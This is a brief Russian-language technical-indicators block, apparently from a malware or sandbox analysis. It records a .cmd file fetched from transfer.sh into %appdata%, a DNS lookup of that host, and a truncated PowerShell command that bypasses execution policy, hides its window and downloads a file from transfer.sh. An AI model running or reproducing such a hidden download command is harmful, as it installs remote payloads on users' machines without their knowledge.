Техническая информация
- https://transfer.sh/wccxub/0602-1013pm.cmd как %appdata+%\newfile.cmd
- DNS ASK tr##sfer.sh
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -executionpolicy bypass -W Hidden -command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(new-object System.Net.WebClient).DownloadFile('https://transfer.sh/wc... (со скрытым окном)